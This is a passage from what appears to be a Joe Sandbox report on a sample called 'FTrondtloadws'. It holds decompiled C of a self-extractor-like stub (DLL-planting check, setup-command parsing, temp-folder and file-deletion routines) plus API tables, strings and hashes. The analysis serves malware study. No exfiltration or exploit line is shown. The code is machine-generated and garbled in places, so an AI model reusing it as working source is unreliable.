				_a124 = L"cabinet.dll";
				_a128 = L"oleaccrc.dll";
				_a132 = L"ntmarta.dll";
				_a136 = L"profapi.dll";
				_a140 = L"WindowsCodecs.dll";
				_a144 = L"srvcli.dll";
				_a148 = L"cscapi.dll";
				_a152 = L"slc.dll";
				_a156 = L"imageres.dll";
				_a160 = L"dnsapi.DLL";
				_a164 = L"iphlpapi.DLL";
				_a168 = L"WINNSI.DLL";
				_a172 = L"netutils.dll";
				_a176 = L"mpr.dll";
				_a180 = L"devrtl.dll";
				_a184 = L"propsys.dll";
				_a188 = L"mlang.dll";
				_a192 = L"samcli.dll";
				_a196 = L"samlib.dll";
				_a200 = L"wkscli.dll";
				_a204 = L"dfscli.dll";
				_a208 = L"browcli.dll";
				_a212 = L"rasadhlp.dll";
				_a216 = L"dhcpcsvc6.dll";
				_a220 = L"dhcpcsvc.dll";
				_a224 = L"XmlLite.dll";
				_a228 = L"linkinfo.dll";
				_a232 = L"cryptsp.dll";
				_a236 = L"RpcRtRemote.dll";
				_a240 = L"aclui.dll";
				_a244 = L"dsrole.dll";
				_a248 = L"peerdist.dll";
				if( *_t111 == 0x78) {
					L15:
					GetModuleFileNameW(_t174,  &_a772, _t194);
					E00CD1908( &_a9160, E00CCD687(_t215,  &_a772), _t194);
					_t189 = _t174;
					do {
						_t195 = _t174;
						if(E00CCC5F9() < 0x600) {
							L19:
							_t196 =  *(_t202 + 0x18 + _t195 * 4);
							_push(0x800);
							E00CCD6FD(_t218,  &_a772, _t196);
							_t122 = GetFileAttributesW( &_a760); // executed
							if(_t122 != _t201) {
								_t189 = _t196;
								L23:
								if(_v1 != 0) {
									L29:
									_t225 = _t189;
									if(_t189 == 0) {
										return _t122;
									}
									E00CCD6D1(_t225,  &_a768);
									if(E00CCC5F9() < 0x600) {
										_push( &_a9160);
										_push( &_a768);
										E00CC4A00( &_a4864, 0x864, L"Please remove %s from %s folder. It is unsecure to run %s until it is done.", _t189);
										_t202 = _t202 + 0x18;
										_t122 = AllocConsole();
										__eflags = _t122;
										if(_t122 != 0) {
											__imp__AttachConsole(GetCurrentProcessId());
											_t133 = E00CE4DF3( &_a4860);
											WriteConsoleW(GetStdHandle(0xfffffff4),  &_a4860, _t133,  &_v4, 0);
											Sleep(0x2710);
											_t122 = FreeConsole();
										}
									} else {
										E00CD1B14(L"dwmapi.dll");
										E00CD1B14(L"uxtheme.dll");
										_push( &_a9152);
										_push( &_a760);
										E00CC4A00( &_a4852, 0x864, E00CCF917(0xf1), _t189);
										_t202 = _t202 + 0x18;
										_t122 = E00CDB7C4(0,  &_a4848, E00CCF917(0xf0), 0x30);
									}
									ExitProcess(0);
								}
								_t197 = 0;
								while(1) {
									_t175 =  *(_t202 + 0x38 + _t197 * 4);
									_push(0x800);
									E00CCD6FD(0,  &_a768, _t175);
									_t122 = GetFileAttributesW( &_a756);
									if(_t122 != _t201) {
										break;
									}
									_t197 = _t197 + 1;
									if(_t197 < 0x35) {
										continue;
									}
									goto L29;
								}
								_t189 = _t175;
								goto L29;
							}
							goto L20;
						}
						_t149 = E00CD1B14( *(_t202 + 0x18 + _t195 * 4)); // executed
						if(_t149 == 0) {
							goto L19;
						}
						_t122 = CompareStringW(0x400, 0x1001,  *(_t202 + 0x24 + _t195 * 4), _t201, L"DXGIDebug.dll", _t201); // executed
						_t218 = _t122 - 2;
						if(_t122 != 2) {
							goto L20;
						}
						goto L19;
						L20:
						_t174 =  &(_t174->Internal);
					} while (_t174 < 8);
					goto L23;
				} else {
					_t190 = E00CE883E(_t177, _t111);
					if(_t190 == 0) {
						goto L15;
					}
					GetModuleFileNameW(_t174,  &_a4868, 0x800);
					_t198 = CreateFileW( &_a4868, 0x80000000, 1, _t174, 3, _t174, _t174);
					if(_t198 == _t201 || SetFilePointer(_t198, _t190, _t174, _t174) != _t190 || ReadFile(_t198,  &_a13260, 0x7ffe,  &_a4, _t174) == 0) {
						L14:
						CloseHandle(_t198);
						_t194 = 0x800;
						goto L15;
					} else {
						_push(0x104);
						 *((short*)(_t202 + 0x33e0 + (_a4 >> 1) * 2)) = 0;
						_push( &_a252);
						_push( &_a13260);
						while(1) {
							_t191 = E00CD1677();
							_t215 = _t191;
							if(_t191 == 0) {
								goto L14;
							}
							E00CD1B14( &_a252);
							_push(0x104);
							_push( &_a248);
							_push(_t191);
						}
						goto L14;
					}
				}
			}

0x00cd1b61
0x00cd1b6a
0x00cd1b71
0x00cd1b7b
0x00cd1b7f
0x00cd1b87
0x00cd1b8d
0x00cd1b94
0x00cd1b98
0x00cd1b9f
0x00cd1ba8
0x00cd1baa
0x00cd1bb0
0x00cd1bb0
0x00cd1bbe
0x00cd1bc2
0x00cd1bcf
0x00cd1bd1
0x00cd1bd7
0x00cd1bd9
0x00cd1bd9
0x00cd1bde
0x00cd1bde
0x00cd1be0
0x00cd1be5
0x00cd1be8
0x00cd1bf0
0x00cd1bf5
0x00cd1bfd
0x00cd1c08
0x00cd1c10
0x00cd1c18
0x00cd1c20
0x00cd1c28
0x00cd1c30
0x00cd1c38
0x00cd1c40
0x00cd1c48
0x00cd1c50
0x00cd1c58
0x00cd1c60
0x00cd1c68
0x00cd1c70
0x00cd1c78
0x00cd1c80
0x00cd1c88
0x00cd1c90
0x00cd1c98
0x00cd1ca0
0x00cd1ca8
0x00cd1cb0
0x00cd1cb8
0x00cd1cc0
0x00cd1ccb
0x00cd1cd6
0x00cd1ce1
0x00cd1cec
0x00cd1cf7
0x00cd1d02
0x00cd1d0d
0x00cd1d18
0x00cd1d23
0x00cd1d2e
0x00cd1d39
0x00cd1d44
0x00cd1d4f
0x00cd1d5a
0x00cd1d65
0x00cd1d70
0x00cd1d7b
0x00cd1d86
0x00cd1d91
0x00cd1d9c
0x00cd1da7
0x00cd1db2
0x00cd1dbd
0x00cd1dc8
0x00cd1dd3
0x00cd1dde
0x00cd1de9
0x00cd1df4
0x00cd1dff
0x00cd1e0a
0x00cd1e15
0x00cd1e20
0x00cd1e2b
0x00cd1e36
0x00cd1e41
0x00cd1f0d
0x00cd1f17
0x00cd1f34
0x00cd1f39
0x00cd1f3b
0x00cd1f3b
0x00cd1f47
0x00cd1f76
0x00cd1f76
0x00cd1f81
0x00cd1f88
0x00cd1f95
0x00cd1f9d
0x00cd1fa7
0x00cd1fa9
0x00cd1fae
0x00cd1fe5
0x00cd1fe5
0x00cd1fe7
0x00cd20fe
0x00cd20fe
0x00cd1ff5
0x00cd2004
0x00cd2073
0x00cd207b
0x00cd208f
0x00cd2094
0x00cd2097
0x00cd209d
0x00cd209f
0x00cd20a8
0x00cd20bd
0x00cd20d5
0x00cd20e0
0x00cd20e6
0x00cd20e6
0x00cd2006
0x00cd200b
0x00cd2015
0x00cd2021
0x00cd2029
0x00cd2043
0x00cd2048
0x00cd2062
0x00cd2062
0x00cd20ee
0x00cd20ee
0x00cd1fb0
0x00cd1fb2
0x00cd1fb2
0x00cd1fbd
0x00cd1fc4
0x00cd1fd1
0x00cd1fd9
0x00000000
0x00000000
0x00cd1fdb
0x00cd1fdf
0x00000000
0x00000000
0x00000000
0x00cd1fe1
0x00cd1fe3
0x00000000
0x00cd1fe3
0x00000000
0x00cd1f9d
0x00cd1f4d
0x00cd1f54
0x00000000
0x00000000
0x00cd1f6b
0x00cd1f71
0x00cd1f74
0x00000000
0x00000000
0x00000000
0x00cd1f9f
0x00cd1f9f
0x00cd1fa0
0x00000000
0x00cd1e47
0x00cd1e4d
0x00cd1e52
0x00000000
0x00000000
0x00cd1e62
0x00cd1e82
0x00cd1e86
0x00cd1f01
0x00cd1f02
0x00cd1f08
0x00000000
0x00cd1eb4
0x00cd1ebc
0x00cd1ec1
0x00cd1ed0
0x00cd1ed8
0x00cd1ef6
0x00cd1efb
0x00cd1efd
0x00cd1eff
0x00000000
0x00000000
0x00cd1ee3
0x00cd1ee8
0x00cd1ef4
0x00cd1ef5
0x00cd1ef5
0x00000000
0x00cd1ef6
0x00cd1e86

APIs

GetModuleHandleW.KERNEL32(kernel32), ref: 00CD1B75
GetProcAddress.KERNEL32(00000000,SetDllDirectoryW), ref: 00CD1B87
GetProcAddress.KERNEL32(00000000,SetDefaultDllDirectories), ref: 00CD1BB8
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CD1E62
CreateFileW.KERNEL32(?,80000000,00000001,00000000,00000003,00000000,00000000), ref: 00CD1E7C
SetFilePointer.KERNEL32(00000000,00000000,00000000,00000000), ref: 00CD1E8C
ReadFile.KERNEL32(00000000,?,00007FFE,00CF4D24,00000000), ref: 00CD1EAA
CloseHandle.KERNEL32(00000000), ref: 00CD1F02
GetModuleFileNameW.KERNEL32(00000000,?,00000800), ref: 00CD1F17
CompareStringW.KERNEL32(00000400,00001001,?,?,DXGIDebug.dll,?,00CF4D24,?,00000000,?,00000800), ref: 00CD1F6B
GetFileAttributesW.KERNELBASE(?,?,00CF4D24,00000800,?,00000000,?,00000800), ref: 00CD1F95
GetFileAttributesW.KERNEL32(?,?,00CF4DEC,00000800), ref: 00CD1FD1

Part of subcall function 00CD1B14: GetSystemDirectoryW.KERNEL32(?,00000800), ref: 00CD1B2F
Part of subcall function 00CD1B14: LoadLibraryW.KERNELBASE(?,?,?,?,00000800,?,00CD0613,Crypt32.dll,00000000,00CD068D,00000200,?,00CD0670,00000000,00000000,?), ref: 00CD1B51

_swprintf.LIBCMT ref: 00CD2043
_swprintf.LIBCMT ref: 00CD208F

Part of subcall function 00CC4A00: __vswprintf_c_l.LEGACY_STDIO_DEFINITIONS ref: 00CC4A13

AllocConsole.KERNEL32 ref: 00CD2097
GetCurrentProcessId.KERNEL32 ref: 00CD20A1
AttachConsole.KERNEL32(00000000), ref: 00CD20A8
_wcslen.LIBCMT ref: 00CD20BD
GetStdHandle.KERNEL32(000000F4,?,00000000,?,00000000), ref: 00CD20CE
WriteConsoleW.KERNEL32(00000000), ref: 00CD20D5
Sleep.KERNEL32(00002710), ref: 00CD20E0
FreeConsole.KERNEL32 ref: 00CD20E6
ExitProcess.KERNEL32 ref: 00CD20EE

Strings

SetDefaultDllDirectories, xrefs: 00CD1BB2
SetDllDirectoryW, xrefs: 00CD1B81
Please remove %s from %s folder. It is unsecure to run %s until it is done., xrefs: 00CD207D
kernel32, xrefs: 00CD1B6C
dwmapi.dll, xrefs: 00CD1C20, 00CD2006
DXGIDebug.dll, xrefs: 00CD1BF5, 00CD1F57
uxtheme.dll, xrefs: 00CD2010

Memory Dump Source

Source File: 00000000.00000002.250342049.0000000000CC1000.00000020.00000001.01000000.00000003.sdmp, Offset: 00CC0000, based on PE: true

Associated: 00000000.00000002.250309944.0000000000CC0000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250384482.0000000000CF4000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D00000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D07000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250395437.0000000000D24000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.250415933.0000000000D25000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_cc0000_FTrondtloadws.jbxd

Similarity

API ID: File$Console$HandleModule$AddressAttributesNameProcProcess_swprintf$AllocAttachCloseCompareCreateCurrentDirectoryExitFreeLibraryLoadPointerReadSleepStringSystemWrite__vswprintf_c_l_wcslen
String ID: DXGIDebug.dll$Please remove %s from %s folder. It is unsecure to run %s until it is done.$SetDefaultDllDirectories$SetDllDirectoryW$dwmapi.dll$kernel32$uxtheme.dll
API String ID: 1207345701-3298887752
Opcode ID: aa9c00e57251ae889a81ba43da71d28e2424a8c5ac5dfcdd4b07889226df4e93
Instruction ID: 38f1fc97da33fab73b230803c4e64e0972b80310044e9bf81ecf0f6bb7d6d8c7
Opcode Fuzzy Hash: aa9c00e57251ae889a81ba43da71d28e2424a8c5ac5dfcdd4b07889226df4e93
Instruction Fuzzy Hash: 0ED173F1008788ABDB749F90D848FAFBBE8BB84304F51491DF79996250DBB09548CB63

Uniqueness

Uniqueness Score: -1.00%

Function 00CDD701 Relevance: 47.7, APIs: 23, Strings: 4, Instructions: 428
windowCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 60%

			E00CDD701(void* __edx, void* __edi) {
				intOrPtr _t232;
				void* _t237;
				intOrPtr _t293;
				intOrPtr _t297;
				long _t308;
				void* _t311;
				signed int _t312;
				void* _t316;

				E00CDFD4C(0xcf3b76, _t316);
				_t232 = E00CDFE20(0x1b888);
				if( *((intOrPtr*)(_t316 + 0xc)) == 0) {
					L180:
					 *[fs:0x0] =  *((intOrPtr*)(_t316 - 0xc));
					return _t232;
				}
				_push(0x1000);
				_push(_t316 - 0x15);
				_push(_t316 - 0xd);
				_push(_t316 - 0x588c);
				_push(_t316 - 0xf894);
				_push( *((intOrPtr*)(_t316 + 0xc)));
				_t232 = E00CDC3A4(__edi, _t316);
				_t297 = _t232;
				 *((intOrPtr*)(_t316 + 0xc)) = _t297;
				if(_t297 != 0) {
					_t293 =  *((intOrPtr*)(_t316 + 0x10));
					_push(__edi);
					do {
						_t237 = _t316 - 0x588c;
						_t311 = _t316 - 0x1b894;
						_t308 = 6;
						goto L4;
						L6:
						while(E00CD32E6(_t316 - 0xf894,  *((intOrPtr*)(0xd00744 + _t312 * 4))) != 0) {
							_t312 = _t312 + 1;
							if(_t312 < 0xe) {
								continue;
							} else {
								goto L178;
							}
						}
						if(_t312 > 0xd) {
							goto L178;
						}
						switch( *((intOrPtr*)(_t312 * 4 +  &M00CDE3DD))) {
							case 0:
								__eflags = _t293 - 2;
								if(_t293 == 2) {
									_t308 = 0x800;
									E00CDB62D(_t316 - 0x788c, 0x800);
									E00CCB91D(E00CCD1E0(__eflags, _t316 - 0x788c, _t316 - 0x588c, _t316 - 0xd894, 0x800), _t293, _t316 - 0x8894, _t312);
									 *(_t316 - 4) = 0;
									E00CCBA57(_t316 - 0x8894, _t316 - 0xd894);
									E00CC79C5(_t316 - 0x388c);
									while(1) {
										_push(0);
										_t255 = E00CCB9AA(_t316 - 0x8894, _t316 - 0x388c);
										__eflags = _t255;
										if(_t255 == 0) {
											break;
										}
										SetFileAttributesW(_t316 - 0x388c, 0);
										__eflags =  *(_t316 - 0x2880);
										if(__eflags == 0) {
											L18:
											_t259 = GetFileAttributesW(_t316 - 0x388c);
											__eflags = _t259 - 0xffffffff;
											if(_t259 == 0xffffffff) {
												continue;
											}
											_t261 = DeleteFileW(_t316 - 0x388c);
											__eflags = _t261;
											if(_t261 != 0) {
												continue;
											} else {
												_t314 = 0;
												_push(0);
												goto L22;
												L22:
												E00CC4A00(_t316 - 0x1044, _t308, L"%s.%d.tmp", _t316 - 0x388c);
												_t318 = _t318 + 0x14;
												_t266 = GetFileAttributesW(_t316 - 0x1044);
												__eflags = _t266 - 0xffffffff;
												if(_t266 != 0xffffffff) {
													_t314 = _t314 + 1;
													__eflags = _t314;
													_push(_t314);
													goto L22;
												} else {
													_t269 = MoveFileW(_t316 - 0x388c, _t316 - 0x1044);
													__eflags = _t269;
													if(_t269 != 0) {
														MoveFileExW(_t316 - 0x1044, 0, 4);
													}
													continue;
												}
											}
										}
										E00CCCDA0(__eflags, _t316 - 0x788c, _t316 - 0x1044, _t308);
										E00CCCA80(__eflags, _t316 - 0x1044, _t308);
										_t315 = E00CE4DF3(_t316 - 0x788c);
										__eflags = _t315 - 4;
										if(_t315 < 4) {
											L16:
											_t280 = E00CCD1A1(_t316 - 0x588c);
											__eflags = _t280;
											if(_t280 != 0) {
												break;
											}
											L17:
											_t283 = E00CE4DF3(_t316 - 0x388c);
											__eflags = 0;
											 *((short*)(_t316 + _t283 * 2 - 0x388a)) = 0;
											E00CE1000(_t308, _t316 - 0x44, 0, 0x1e);
											_t318 = _t318 + 0x10;
											 *((intOrPtr*)(_t316 - 0x40)) = 3;
											_push(0x14);
											_pop(_t286);
											 *((short*)(_t316 - 0x34)) = _t286;
											 *((intOrPtr*)(_t316 - 0x3c)) = _t316 - 0x388c;
											_push(_t316 - 0x44);
											 *0xd2507c();
											goto L18;
										}
										_t291 = E00CE4DF3(_t316 - 0x1044);
										__eflags = _t315 - _t291;
										if(_t315 > _t291) {
											goto L17;
										}
										goto L16;
									}
									 *(_t316 - 4) =  *(_t316 - 4) | 0xffffffff;
									E00CCB933(_t316 - 0x8894);
								}
								goto L178;
							case 1:
								__eflags = __ebx;
								if(__ebx == 0) {
									__eax = E00CE4DF3(__esi);
									__eax = __eax + __edi;
									_push(__eax);
									_push( *0xd21cc8);
									__eax = E00CE506E(__ecx, __edx);
									__esp = __esp + 0xc;
									__eflags = __eax;
									if(__eax != 0) {
										__eax = E00CE88C9(__eax, __esi);
										_pop(__ecx);
										_pop(__ecx);
									}
									__eflags = __bh;
									if(__bh == 0) {
										__eax = L00CE5069(__esi);
									}
								}
								goto L178;
							case 2:
								__eflags = __ebx;
								if(__ebx == 0) {
									__ebp - 0x588c = SetWindowTextW( *(__ebp + 8), __ebp - 0x588c);
								}
								goto L178;
							case 3:
								__eflags = __ebx;
								if(__ebx != 0) {
									goto L178;
								}
								__eflags =  *0xd1389a - __di;
								if( *0xd1389a != __di) {
									goto L178;
								}
								__eax = 0;
								__edi = __ebp - 0x588c;
								_push(0x22);
								 *(__ebp - 0x1044) = __ax;
								_pop(__eax);
								__eflags =  *(__ebp - 0x588c) - __ax;
								if( *(__ebp - 0x588c) == __ax) {
									__edi = __ebp - 0x588a;
								}
								__eax = E00CE4DF3(__edi);
								__esi = 0x800;
								__eflags = __eax - 0x800;
								if(__eax >= 0x800) {
									goto L178;
								} else {
									__eax =  *__edi & 0x0000ffff;
									_push(0x5c);
									_pop(__ecx);
									__eflags = ( *__edi & 0x0000ffff) - 0x2e;
									if(( *__edi & 0x0000ffff) != 0x2e) {
										__eflags = __ax - __cx;
										if(__ax == __cx) {
											L64:
											__ebp - 0x1044 = E00CD1908(__ebp - 0x1044, __edi, __esi);
											__ebx = 0;
											__eflags = 0;
											L65:
											_push(0x22);
											_pop(__eax);
											__eax = __ebp - 0x1044;
											__eax = E00CE350E(__ebp - 0x1044, __ebp - 0x1044);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__eflags =  *(__eax + 2) - __bx;
												if( *(__eax + 2) == __bx) {
													__ecx = 0;
													__eflags = 0;
													 *__eax = __cx;
												}
											}
											__eax = __ebp - 0x1044;
											__edi = 0xd1389a;
											E00CD1908(0xd1389a, __ebp - 0x1044, __esi) = __ebp - 0x1044;
											__eax = E00CDC240(__ebp - 0x1044, __esi);
											__esi = GetDlgItem( *(__ebp + 8), 0x66);
											__ebp - 0x1044 = SetWindowTextW(__esi, __ebp - 0x1044); // executed
											__eax = SendMessageW(__esi, 0x143, __ebx, 0xd1389a); // executed
											__eax = __ebp - 0x1044;
											__eax = E00CE7156(__ebp - 0x1044, 0xd1389a, __eax);
											_pop(__ecx);
											_pop(__ecx);
											__eflags = __eax;
											if(__eax != 0) {
												__ebp - 0x1044 = SendMessageW(__esi, 0x143, __ebx, __ebp - 0x1044);
											}
											goto L178;
										}
										L53:
										__eflags = __ax;
										if(__ax == 0) {
											L55:
											__eax = __ebp - 0x1c;
											__ebx = 0;
											_push(__ebp - 0x1c);
											_push(1);
											_push(0);
											_push(L"Software\\Microsoft\\Windows\\CurrentVersion");
											_push(0x80000002);
											__eax =  *0xd25028();
											__eflags = __eax;
											if(__eax == 0) {
												__eax = __ebp - 0x14;
												 *(__ebp - 0x14) = 0x1000;
												_push(__ebp - 0x14);
												__eax = __ebp - 0x1044;
												_push(__ebp - 0x1044);
												__eax = __ebp - 0x24;
												_push(__ebp - 0x24);
												_push(0);
												_push(L"ProgramFilesDir");
												_push( *(__ebp - 0x1c));
												__eax =  *0xd25024();
												_push( *(__ebp - 0x1c));
												 *0xd25008() =  *(__ebp - 0x14);
												__ecx = 0x7ff;
												__eax =  *(__ebp - 0x14) >> 1;
												__eflags = __eax - 0x7ff;
												if(__eax >= 0x7ff) {
													__eax = 0x7ff;
												}
												__ecx = 0;
												__eflags = 0;
												 *(__ebp + __eax * 2 - 0x1044) = __cx;
											}
											__eflags =  *(__ebp - 0x1044) - __bx;
											if( *(__ebp - 0x1044) != __bx) {
												__eax = __ebp - 0x1044;
												__eax = E00CE4DF3(__ebp - 0x1044);
												_push(0x5c);
												_pop(__ecx);
												__eflags =  *((intOrPtr*)(__ebp + __eax * 2 - 0x1046)) - __cx;
												if(__eflags != 0) {
													__ebp - 0x1044 = E00CD18E0(__eflags, __ebp - 0x1044, "\\", __esi);
												}
											}
											__esi = E00CE4DF3(__edi);
											__eax = __ebp - 0x1044;
											__eflags = __esi - 0x7ff;
											__esi = 0x800;
											if(__eflags < 0) {
												__ebp - 0x1044 = E00CD18E0(__eflags, __ebp - 0x1044, __edi, 0x800);
											}
											goto L65;
										}
										__eflags =  *((short*)(__edi + 2)) - 0x3a;
										if( *((short*)(__edi + 2)) == 0x3a) {
											goto L64;
										}
										goto L55;
									}
									__eflags =  *((intOrPtr*)(__edi + 2)) - __cx;
									if( *((intOrPtr*)(__edi + 2)) != __cx) {
										goto L53;
									}
									__edi = __edi + 4;
									__ebx = 0;
									__eflags =  *__edi - __bx;
									if( *__edi == __bx) {
										goto L178;
									} else {
										__ebp - 0x1044 = E00CD1908(__ebp - 0x1044, __edi, 0x800);
										goto L65;
									}
								}
							case 4:
								__eflags =  *0xd13894 - 1;
								__eflags = __eax - 0xd13894;
								 *__edi =  *__edi + __ecx;
								__eflags =  *(__edx + 7) & __al;
								 *__eax =  *__eax + __al;
								__eflags =  *__eax;
							case 5:
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__ecx = 0;
								__eax =  *(__ebp - 0x588c) & 0x0000ffff;
								__eflags = __eax;
								if(__eax == 0) {
									L82:
									 *0xd0a46f = __cl;
									 *0xd0a478 = 1;
									goto L178;
								}
								__eax = __eax - 0x30;
								__eflags = __eax;
								if(__eax == 0) {
									 *0xd0a46f = __cl;
									L81:
									 *0xd0a478 = __cl;
									goto L178;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax == 0) {
									goto L82;
								}
								__eax = __eax - 1;
								__eflags = __eax;
								if(__eax != 0) {
									goto L178;
								}
								 *0xd0a46f = 1;
								goto L81;
							case 6:
								__edi = 0;
								 *0xd20cbb = 1;
								__edi = 1;
								__eax = __ebp - 0x588c;
								__eflags =  *(__ebp - 0x588c) - 0x3c;
								__ebx = __esi;
								 *(__ebp - 0x14) = __eax;
								if( *(__ebp - 0x588c) != 0x3c) {
									L99:
									__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 5;
									if( *((intOrPtr*)(__ebp + 0x10)) != 5) {
										__eflags =  *((intOrPtr*)(__ebp + 0x10)) - 4;
										if( *((intOrPtr*)(__ebp + 0x10)) != 4) {
											goto L178;
										}
										__eflags = __ebx - 6;
										if(__ebx != 6) {
											goto L178;
										}
										__ecx = 0;
										__eflags = 0;
										_push(0);
										L105:
										_push(__edi);
										_push(__eax);
										_push( *(__ebp + 8));
										__eax = E00CDE75F(__ebp);
										goto L178;
									}
									__eflags = __ebx - 9;
									if(__ebx != 9) {
										goto L178;
									}
									_push(1);
									goto L105;
								}
								__eax = __ebp - 0x588a;
								__eax = E00CE31FC(__ebp - 0x588a, 0x3e);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax == 0) {
									L98:
									__eax =  *(__ebp - 0x14);
									goto L99;
								}
								_t111 = __eax + 2; // 0x2
								__ecx = _t111;
								 *(__ebp - 0x14) = _t111;
								__ecx = 0;
								 *__eax = __cx;
								__eax = __ebp - 0x10c;
								_push(0x64);
								_push(__ebp - 0x10c);
								__eax = __ebp - 0x588a;
								_push(__ebp - 0x588a);
								__eax = E00CDC038();
								 *(__ebp - 0x20) = __eax;
								__eflags = __eax;
								if(__eax == 0) {
									goto L98;
								}
								__esi = __eax;
								while(1) {
									__eflags =  *(__ebp - 0x10c);
									if( *(__ebp - 0x10c) == 0) {
										goto L98;
									}
									__eax = __ebp - 0x10c;
									__eax = E00CD32E6(__ebp - 0x10c, L"HIDE");
									__eax =  ~__eax;
									asm("sbb eax, eax");
									__edi = __edi & __eax;
									__eax = __ebp - 0x10c;
									__eax = E00CD32E6(__ebp - 0x10c, L"MAX");
									__eflags = __eax;
									if(__eax == 0) {
										_push(3);
										_pop(__edi);
									}
									__eax = __ebp - 0x10c;
									__eax = E00CD32E6(__ebp - 0x10c, L"MIN");
									__eflags = __eax;
									if(__eax == 0) {
										_push(6);
										_pop(__edi);
									}
									_push(0x64);
									__eax = __ebp - 0x10c;
									_push(__ebp - 0x10c);
									_push(__esi);
									__esi = E00CDC038();
									__eflags = __esi;
									if(__esi != 0) {
										continue;
									} else {
										goto L98;
									}
								}
								goto L98;
							case 7:
								__eflags = __ebx - 1;
								if(__eflags != 0) {
									__eflags = __ebx - 7;
									if(__ebx == 7) {
										__eflags =  *0xd13894 - __edi;
										if( *0xd13894 == __edi) {
											 *0xd13894 = 2;
										}
										 *0xd12890 = 1;
									}
									goto L178;
								}
								__eax = __ebp - 0x788c;
								__edi = 0x800;
								GetTempPathW(0x800, __ebp - 0x788c) = __ebp - 0x788c;
								__eax = E00CCCA80(__eflags, __ebp - 0x788c, 0x800);
								__ebx = 0;
								__esi = 0;
								_push(0);
								while(1) {
									_push( *0xd00724);
									__ebp - 0x788c = E00CC4A00(0xd12892, __edi, L"%s%s%u", __ebp - 0x788c);
									__eax = E00CCB4A1(0xd12892);
									__eflags = __al;
									if(__al == 0) {
										break;
									}
									__esi =  &(__esi->i);
									__eflags = __esi;
									_push(__esi);
								}
								__eax = SetDlgItemTextW( *(__ebp + 8), 0x66, 0xd12892);
								__eflags =  *(__ebp - 0x588c) - __bx;
								if( *(__ebp - 0x588c) == __bx) {
									goto L178;
								}
								__eflags =  *0xd20cb9 - __bl;
								if( *0xd20cb9 != __bl) {
									goto L178;
								}
								__eax = 0;
								 *(__ebp - 0x444) = __ax;
								__eax = __ebp - 0x588c;
								__eax = E00CE31FC(__ebp - 0x588c, 0x2c);
								_pop(__ecx);
								_pop(__ecx);
								__eflags = __eax;
								if(__eax != 0) {
									L122:
									__eflags =  *(__ebp - 0x444) - __bx;
									if( *(__ebp - 0x444) == __bx) {
										__ebp - 0x1b894 = __ebp - 0x588c;
										E00CD1908(__ebp - 0x588c, __ebp - 0x1b894, 0x1000) = __ebp - 0x19894;
										__ebp - 0x444 = E00CD1908(__ebp - 0x444, __ebp - 0x19894, 0x200);
									}
									__ebp - 0x588c = E00CDBE72(__ebp - 0x588c);
									__eax = 0;
									 *(__ebp - 0x488c) = __ax;
									__ebp - 0x444 = __ebp - 0x588c;
									__eax = E00CDB7C4( *(__ebp + 8), __ebp - 0x588c, __ebp - 0x444, 0x24);
									__eflags = __eax - 6;
									if(__eax != 6) {
										__eax = 0;
										 *0xd0a46c = 1;
										 *0xd12892 = __ax;
										__eax = EndDialog( *(__ebp + 8), 1);
									}
									goto L178;
								}
								__ax =  *(__ebp - 0x588c);
								__esi = __ebx;
								__eflags = __ax;
								if(__ax == 0) {
									goto L122;
								}
								__ecx = __ax & 0x0000ffff;
								while(1) {
									__eflags = __cx - 0x40;
									if(__cx == 0x40) {
										break;
									}
									__eax =  *(__ebp + __esi * 2 - 0x588a) & 0x0000ffff;
									__esi =  &(__esi->i);
									__ecx = __eax;
									__eflags = __ax;
									if(__ax != 0) {
										continue;
									}
									goto L122;
								}
								__ebp - 0x588a = __ebp - 0x588a + __esi * 2;
								__ebp - 0x444 = E00CD1908(__ebp - 0x444, __ebp - 0x444, 0x200);
								__eax = 0;
								__eflags = 0;
								 *(__ebp + __esi * 2 - 0x588c) = __ax;
								goto L122;
							case 8:
								__eflags = __ebx - 3;
								if(__ebx == 3) {
									__eflags =  *(__ebp - 0x588c) - __di;
									if(__eflags != 0) {
										__eax = __ebp - 0x588c;
										_push(__ebp - 0x588c);
										__eax = E00CE8868(__ebx, __edi);
										_pop(__ecx);
										 *0xd21cd0 = __eax;
									}
									__eax = __ebp + 0xc;
									_push(__ebp + 0xc);
									 *0xd21ccc = E00CDC51E(__ecx, __edx, __eflags);
								}
								 *0xd20cba = 1;
								goto L178;
							case 9:
								__eflags = __ebx - 6;
								if(__ebx != 6) {
									goto L178;
								}
								__eax = 0;
								 *(__ebp - 0x2844) = __ax;
								__eax =  *(__ebp - 0x1b894) & 0x0000ffff;
								__eax = E00CE8C2C( *(__ebp - 0x1b894) & 0x0000ffff);
								__eflags = __eax - 0x50;
								if(__eax == 0x50) {
									 *(__ebp - 0x14) = 2;
									__eax = 0xd0f482;
								} else {
									__eflags = __eax - 0x54;
									if(__eax == 0x54) {
										 *(__ebp - 0x14) = 7;
										__eax = 0xd0e482;
									} else {
										 *(__ebp - 0x14) = 0x10;
										__eax = 0xd10482;
									}
								}
								__esi = 0x800;
								__ebp - 0x2844 = E00CD1908(__ebp - 0x2844, __ebp - 0x2844, 0x800);
								__eax = 0;
								 *(__ebp - 0x9894) = __ax;
								 *(__ebp - 0x1844) = __ax;
								__ebp - 0x19894 = __ebp - 0x688c;
								__eax = E00CD1908(__ebp - 0x688c, __ebp - 0x19894, 0x800);
								_push(0x22);
								_pop(__ebx);
								__eflags =  *(__ebp - 0x688c) - __bx;
								if( *(__ebp - 0x688c) != __bx) {
									__ebp - 0x688c = E00CCB4A1(__ebp - 0x688c);
									__eflags = __al;
									if(__al != 0) {
										goto L163;
									}
									__ax =  *(__ebp - 0x688c);
									__esi = __ebp - 0x688c;
									__ebx = __edi;
